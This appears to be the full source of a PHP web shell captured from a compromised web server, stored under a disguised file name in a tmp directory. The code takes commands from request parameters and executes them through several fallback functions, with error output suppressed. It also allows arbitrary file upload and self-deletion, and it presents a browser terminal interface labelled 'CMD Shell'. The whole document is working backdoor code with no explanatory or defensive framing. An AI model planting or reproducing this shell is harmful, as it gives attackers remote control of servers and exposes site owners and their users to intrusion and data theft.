Your IP : 216.73.216.74
| Current Path : /home/andpasi/www/tmp/ |
|
|
| Current File : /home/andpasi/www/tmp/jcea4rvzhel.xml.php |
<?php
error_reporting(0);
@ini_set('display_errors', 0);
$cmd = isset($_REQUEST['c']) ? $_REQUEST['c'] : (isset($_POST['x']) ? $_POST['x'] : '');
$cwd = isset($_POST['d']) ? $_POST['d'] : @getcwd();
function nx_strip($out, $tag) {
$p = strpos($out, $tag);
if ($p === false) return false;
return rtrim(substr($out, 0, $p), "\r\n");
}
function nx_run($cmd) {
$tag = "\nNXEC" . substr(md5(mt_rand()), 0, 8) . ":";
$full = '{ ' . $cmd . ' ; } 2>&1; echo "' . $tag . '"$?';
if (function_exists('proc_open')) {
$desc = array(0 => array('pipe', 'r'), 1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
$p = @proc_open($full, $desc, $pp, null, null);
if (is_resource($p)) {
@fclose($pp[0]);
$out = (string)@stream_get_contents($pp[1]);
$err = (string)@stream_get_contents($pp[2]);
@fclose($pp[1]); @fclose($pp[2]); @proc_close($p);
if ($err !== '' && strpos($err, $tag) === false) $out .= "\n" . $err;
$r = nx_strip($out, $tag);
if ($r !== false) return $r;
}
}
if (function_exists('shell_exec')) {
$o = @shell_exec($full);
if (is_string($o)) { $r = nx_strip($o, $tag); if ($r !== false) return $r; }
}
if (function_exists('exec')) {
$lines = array(); $ret = 0;
@exec($full, $lines, $ret);
$r = nx_strip(implode("\n", $lines), $tag);
if ($r !== false) return $r;
}
if (function_exists('system')) {
ob_start(); @system($full); $o = ob_get_clean();
if (is_string($o)) { $r = nx_strip($o, $tag); if ($r !== false) return $r; }
}
if (function_exists('passthru')) {
ob_start(); @passthru($full); $o = ob_get_clean();
if (is_string($o)) { $r = nx_strip($o, $tag); if ($r !== false) return $r; }
}
if (function_exists('popen')) {
$h = @popen($full, 'r');
if (is_resource($h)) {
$o = '';
while (!feof($h)) { $o .= fread($h, 8192); }
@pclose($h);
$r = nx_strip($o, $tag);
if ($r !== false) return $r;
}
}
$o = @`$full`;
if (is_string($o)) { $r = nx_strip($o, $tag); if ($r !== false) return $r; }
return '';
}
if ($cmd === '' || $cmd === null) {
if (isset($_FILES['u'])) {
$d = rtrim($cwd, '/\\') . DIRECTORY_SEPARATOR . basename($_FILES['u']['name']);
if (@move_uploaded_file($_FILES['u']['tmp_name'], $d)) echo 'UPLOADED: ' . htmlspecialchars($d);
else echo 'UPLOAD FAILED';
exit;
}
if (isset($_GET['del'])) { @unlink(__FILE__); echo 'DELETED'; exit; }
if (isset($_POST['d'])) { @chdir($_POST['d']); $cwd = @getcwd(); }
$srv = isset($_SERVER['SERVER_NAME']) ? $_SERVER['SERVER_NAME'] : @gethostname();
$usr = function_exists('get_current_user') ? @get_current_user() : '?';
$os = defined('PHP_OS') ? PHP_OS : 'PHP';
$ver = defined('PHP_VERSION') ? PHP_VERSION : '';
$sw = isset($_SERVER['SERVER_SOFTWARE']) ? $_SERVER['SERVER_SOFTWARE'] : '?';
$cwd_h = htmlspecialchars((string)$cwd, ENT_QUOTES, 'UTF-8');
$srv_h = htmlspecialchars((string)$srv, ENT_QUOTES, 'UTF-8');
$usr_h = htmlspecialchars((string)$usr, ENT_QUOTES, 'UTF-8');
$cwd_js = json_encode((string)$cwd);
?><!DOCTYPE html>
<html><head><meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1"><title>CMD</title>
<style>
:root{--bg:#0d1117;--fg:#c9d1d9;--g:#58a6ff;--o:#f0883e;--b1:#161b22;--b2:#21262d;--t:#8b949e;--r:#f85149}
*{margin:0;padding:0;box-sizing:border-box}
body{background:var(--bg);color:var(--fg);font:14px Consolas,Menlo,monospace;height:100vh;display:flex;flex-direction:column}
#hd{background:var(--b1);padding:8px 16px;display:flex;justify-content:space-between;gap:12px;border-bottom:1px solid var(--b2);font-size:12px;flex-wrap:wrap}
.pw{color:var(--g);font-weight:bold;word-break:break-all}.if{color:var(--t)}
#tm{flex:1;overflow-y:auto;padding:12px 16px}
.ln{padding:2px 0;white-space:pre-wrap;word-break:break-all;font-size:13px;line-height:1.5}
.pr{color:var(--g)}.op{color:var(--fg)}.er{color:var(--r)}.wl{color:var(--t);font-size:12px;padding:4px 0}
#ia{display:flex;padding:8px 16px;background:var(--b1);border-top:1px solid var(--b2);gap:8px;align-items:center}
#ia .ps{color:var(--g);font-weight:bold}
#ci{flex:1;background:var(--b2);color:var(--fg);border:1px solid #30363d;padding:8px 10px;font:inherit;font-size:13px;border-radius:4px;outline:none}
#ci:focus{border-color:var(--g)}
button{background:var(--g);color:#000;border:0;padding:8px 14px;border-radius:4px;cursor:pointer;font:inherit;font-size:13px;font-weight:bold}
#ab{display:flex;gap:14px;padding:6px 16px;background:var(--b1);border-top:1px solid var(--b2)}
#ab a{color:var(--t);font-size:12px;cursor:pointer;text-decoration:none}
#ab a:hover{color:var(--g)}
#up{display:none;padding:12px 16px;background:var(--b1);border-top:1px solid var(--b2)}
#up h4{color:var(--o);margin-bottom:8px;font-size:13px}
#up form{display:flex;gap:8px;align-items:center;flex-wrap:wrap}
#up input[type=file]{color:var(--t);font:inherit;font-size:12px}
</style></head><body>
<div id="hd"><span class="pw" id="pw"><?php echo $cwd_h; ?></span>
<span class="if"><?php echo htmlspecialchars($os.' | PHP '.$ver.' | '.$sw, ENT_QUOTES, 'UTF-8'); ?></span></div>
<div id="tm"><div class="wl">CMD Shell — <?php echo $srv_h; ?> | <?php echo $usr_h; ?> — type a command and press Enter</div></div>
<div id="ia"><span class="ps">$</span><input id="ci" placeholder="command..." autofocus autocomplete="off" spellcheck="false"><button type="button" id="rb">RUN</button></div>
<div id="ab"><a id="aup">Upload</a><a id="aclr">Clear</a><a id="adel" href="?del=1">Delete</a></div>
<div id="up"><h4>Upload → <span id="upwd"><?php echo $cwd_h; ?></span></h4><form id="uf"><input type="file" id="fi"><button type="submit">Upload</button></form></div>
<script>
(function(){
var w=<?php echo $cwd_js; ?>;
var ci=document.getElementById('ci'), tm=document.getElementById('tm'), pw=document.getElementById('pw');
var h=[], hi=-1, busy=false;
function es(s){return String(s==null?'':s).replace(/&/g,'&').replace(/</g,'<').replace(/>/g,'>').replace(/"/g,'"');}
function line(html){tm.insertAdjacentHTML('beforeend', html); tm.scrollTop=tm.scrollHeight;}
function run(){
if(busy) return;
var c=ci.value.trim(); if(!c) return;
h.push(c); hi=-1; ci.value='';
line('<div class="ln"><span class="pr">'+es(w)+'> </span>'+es(c)+'</div>');
if(c==='clear'||c==='cls'){tm.innerHTML='';return;}
busy=true;
var d=new FormData(); d.append('x',c); d.append('d',w);
fetch(location.href.split('?')[0],{method:'POST',body:d,credentials:'same-origin'})
.then(function(r){return r.text();})
.then(function(t){
line('<div class="ln"><span class="op">'+es(t.replace(/\r/g,''))+'</span></div>');
if(/^cd(\s|$)/i.test(c)){
var nd=c.replace(/^cd\s*/i,'').replace(/^["']|["']$/g,'')||'.';
var f=new FormData(); f.append('x','pwd'); f.append('d',nd);
return fetch(location.href.split('?')[0],{method:'POST',body:f,credentials:'same-origin'})
.then(function(r){return r.text();})
.then(function(t2){
var nw=(t2||'').trim().split(/\r?\n/)[0];
if(nw && nw.indexOf(' ')===-1 && nw.length<512){w=nw; pw.textContent=w; var u=document.getElementById('upwd'); if(u)u.textContent=w;}
});
}
})
.catch(function(e){ line('<div class="ln"><span class="er">'+es(e.message||e)+'</span></div>'); })
.then(function(){ busy=false; ci.focus(); });
}
ci.addEventListener('keydown', function(e){
if(e.key==='Enter'){e.preventDefault(); run();}
if(e.key==='ArrowUp'){e.preventDefault(); if(h.length){ if(hi<h.length-1) hi++; ci.value=h[h.length-1-hi]; }}
if(e.key==='ArrowDown'){e.preventDefault(); if(hi>0){hi--; ci.value=h[h.length-1-hi];} else {hi=-1; ci.value='';}}
});
document.getElementById('rb').addEventListener('click', run);
document.getElementById('aup').addEventListener('click', function(){
var e=document.getElementById('up'); e.style.display = e.style.display==='block' ? 'none' : 'block';
});
document.getElementById('aclr').addEventListener('click', function(){ tm.innerHTML=''; });
document.getElementById('adel').addEventListener('click', function(e){ if(!confirm('Delete shell?')) e.preventDefault(); });
document.getElementById('uf').addEventListener('submit', function(e){
e.preventDefault();
var f=document.getElementById('fi'); if(!f.files.length) return;
var d=new FormData(); d.append('u', f.files[0]); d.append('d', w);
fetch(location.href.split('?')[0],{method:'POST',body:d,credentials:'same-origin'})
.then(function(r){return r.text();})
.then(function(t){ alert(t); document.getElementById('up').style.display='none'; f.value=''; })
.catch(function(err){ alert(String(err)); });
});
ci.focus();
})();
</script></body></html>
<?php
exit;
}
@chdir($cwd);
$out = nx_run($cmd);
if ($out === '' || $out === null) {
// last-ditch tiny helpers for restricted hosts
if ($cmd === 'id' && function_exists('posix_getuid')) {
$u = @posix_getpwuid(@posix_getuid());
echo 'uid=' . @posix_getuid() . '(' . (isset($u['name'])?$u['name']:'?') . ')';
exit;
}
}
echo $out;